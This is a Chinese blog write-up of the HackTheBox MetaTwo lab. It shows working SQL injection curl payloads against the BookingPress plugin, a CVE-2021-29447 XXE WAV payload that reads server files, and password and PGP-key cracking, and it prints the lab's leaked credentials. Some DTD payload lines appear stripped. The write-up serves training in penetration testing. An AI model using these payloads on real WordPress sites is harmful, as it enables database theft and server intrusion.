• HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权


    在这里插入图片描述

    题目网址:

    https://app.hackthebox.com/machines/MetaTwo
    
    • 1

    枚举

    使用nmap枚举靶机

    nmap -sC -sV -p- 10.10.11.186
    
    • 1

    在这里插入图片描述

    扫到了域名,我们本地dns解析一下

    echo "10.10.11.186 metapress.htb" >> /etc/hosts
    
    • 1

    然后就是老三样,枚举网站根目录,子域名枚举,网站框架枚举
    首先枚举网站根目录

    ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://metapress.htb/FUZZ
    
    • 1

    在这里插入图片描述

    只扫到了网站的后台和一大堆没什么用的东西,然后枚举子域名,并没有找到什么有用的东西

    然后就是网站的框架枚举,我们要用到Wappalyzer这个模块
    下载地址:

    https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search
    
    • 1

    安装好后去到网站页面,打开任务栏里的Wappalyzer模块

    在这里插入图片描述

    可以看到很多有用的信息,还可以用nuclei这个工具

    apt install nuclei
    nuclei -u http://metapress.htb/
    
    • 1
    • 2

    在这里插入图片描述

    也能扫描到很多信息,现在我们知道这个网站的框架是WordPress,版本是5.6.2,我用searchsploitsearchsploit搜索了一下此版本的漏洞,需要登录后台才能用一个XXE的漏洞,既然是WordPress框架的,那就要用wpscan枚举一下

    wpscan --url http://metapress.htb -e p,u --plugins-detection aggressive
    
    • 1

    在这里插入图片描述

    找到了robots文件

    在这里插入图片描述

    CVE漏洞

    在这里插入图片描述

    然后我一个一个点,发现只是网站的存在的根目录而已,然后我又在每个目录页面查看源代码看看有没有什么突破点,结果找到了一个

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    在这个页面发现了booking press框架,版本为1.0.10,通过搜索发现,这个框架版本有sql注入的漏洞

    https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
    
    • 1

    在这里插入图片描述
    该插件在通过 bookingpress_front_get_category_services AJAX 操作用于动态构造的 SQL 查询之前无法正确清理用户提供的 POST 数据(可用于未经身份验证的用户),导致未经身份验证的 SQL 注入

    然后根据这个网站的payload来测试

    在这里插入图片描述

    首先根据上面说的,我们要在刚刚的源代码页面搜索action:

    在这里插入图片描述

    _wpnonce:'31bef7a194'
    
    • 1

    然后用以下payload测试

    在这里插入图片描述

    curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
    
    • 1

    在这里插入图片描述

    泄露了数据库名,数据库版本,系统信息等其他的东西,现在就是常规的sql注入测试了

    curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
    
    • 1

    在这里插入图片描述

    获取了网站用户密码的hash值,现在爆破一下

    admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
    manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
    
    • 1
    • 2

    在这里插入图片描述

    john -w=/usr/share/wordlists/rockyou.txt hash
    
    • 1

    在这里插入图片描述

    只爆破出了一个密码,我尝试登录ftp和ssh发现都不行,只能登录网站后台

    在这里插入图片描述

    在这里插入图片描述

    通过前面对wordpress 5.6.2版本的漏洞搜索,发现了一个XXE的漏洞

    https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/
    
    • 1

    在这里插入图片描述
    安全公司 SonarSource 的研究人员在 WordPress 媒体库中发现了一个 XML 外部实体注入 (XXE) 安全漏洞。仅当此 CMS 在 PHP 8 中运行 并且 攻击用户具有上传媒体文件的权限时,才能利用该漏洞

    获取用户shell

    利用过程参考这篇github

    https://github.com/motikan2010/CVE-2021-29447
    
    • 1

    下载这些文件

    在这里插入图片描述

    在这里插入图片描述

    根据文章操作

    make up-wp
    php -S 0.0.0.0:8001
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    然后修改此文件的ip地址

    在这里插入图片描述

    echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;]>\x00' > payload.wav
    
    • 1

    然后创建一个dedsec.dtd文件,里面是我们的恶意代码

    
    " >
    
    • 1
    • 2

    在这里插入图片描述

    然后上传我们刚刚创建的payload.wav文件

    http://metapress.htb/wp-admin/upload.php
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    得到了一串base64编码,我们解密看看

    在这里插入图片描述

    得到了靶机的/etc/passwd文件内容,现在我们获取一下网站配置,看看有没有有用的东西

    
    " >
    
    • 1
    • 2

    在这里插入图片描述

    继续上传payload文件

    在这里插入图片描述

    继续解密,将此base64编码解密后的内容:

    +3m?.B/:' );
    define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
    define( 'LOGGED_IN_KEY',    'J+mxCaP4zdd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
    define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
    define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
    define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
    define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
    define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
    
    /**
     * WordPress Database Table prefix.
     */
    $table_prefix = 'wp_';
    
    /**
     * For developers: WordPress debugging mode.
     * @link https://wordpress.org/support/article/debugging-in-wordpress/
     */
    define( 'WP_DEBUG', false );
    
    /** Absolute path to the WordPress directory. */
    if ( ! defined( 'ABSPATH' ) ) {
            define( 'ABSPATH', __DIR__ . '/' );
    }
    
    /** Sets up WordPress vars and included files. */
    require_once ABSPATH . 'wp-settings.php';
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    我们找到了ftp用户的账号和密码

    用户名:metapress.htb
    密码:9NYS_ii@FyL_p5M2NvJ
    
    • 1
    • 2

    然后我们登录ftp看看

    ftp 10.10.11.186
    
    • 1

    在这里插入图片描述

    在mailer文件夹下,找到了一个有用的php文件,将他下载到本地

    get send_email.php
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    SMTPDebug = 3;                               
    $mail->isSMTP();            
    
    $mail->Host = "mail.metapress.htb";
    $mail->SMTPAuth = true;                          
    $mail->Username = "jnelson@metapress.htb";                 
    $mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
    $mail->SMTPSecure = "tls";                           
    $mail->Port = 587;                                   
    
    $mail->From = "jnelson@metapress.htb";
    $mail->FromName = "James Nelson";
    
    $mail->addAddress("info@metapress.htb");
    
    $mail->isHTML(true);
    
    $mail->Subject = "Startup";
    $mail->Body = "We just started our new blog metapress.htb!";
    
    try {
        $mail->send();
        echo "Message has been sent successfully";
    } catch (Exception $e) {
        echo "Mailer Error: " . $mail->ErrorInfo;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    找到了用户名和密码

    用户名:jnelson
    密码:Cb4_JmWM8zUZWMu@Ys
    
    • 1
    • 2

    然后尝试登录ssh

    ssh jnelson@10.10.11.186
    
    • 1

    在这里插入图片描述

    成功获得用户权限

    破解私钥提权

    登录之后,我查看了当前文件夹下的所有文件,发现了passpie程序的文件夹,这个程序是用来管理密码的

    在这里插入图片描述

    在这里插入图片描述

    进去找了一下,发现了一个pgp私钥文件,我们先将.keys文件下载到本地,其实kali本地创建一个文件,然后复制粘贴也可以

    scp jnelson@10.10.11.186:.passpie/.keys .keys
    
    • 1

    在这里插入图片描述

    这个.keys里有两个密钥,一个公钥,一个私钥,我把公钥删了,不然等一下工具用不了,然后把文件改个名

    在这里插入图片描述

    先用gpg2john将key文件转换为john可爆破的格式,然后用john爆破

    gpg2john key > hash
    john -w=/usr/share/wordlists/rockyou.txt hash
    
    • 1
    • 2

    在这里插入图片描述

    passpie密码为:blink182
    
    • 1

    爆破出密码后回到靶机,查看passpie里存放的密码,输入密码得到root密码

    passpie list
    passpie export pass
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

  • 相关阅读:
    从头开始——重新布置渗透测试环境的过程记录(From Windows To Mac)
    ShuffleNetV1:极致轻量化卷积神经网络(分组卷积+通道重排)
    SparkCore系列-6、RDD 持久化
    【AGC】增长服务1-远程配置示例
    超全整理,Pytest自动化测试框架-多进程(pytest-xdist)运行总结...
    【Linux】进程理解
    【操作系统】银行家算法
    公司新来的实习生问我SpringBoot多个环境的配置方式
    【Java开发】 Springboot集成Mybatis-Flex
    Mybit-Plus
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127748459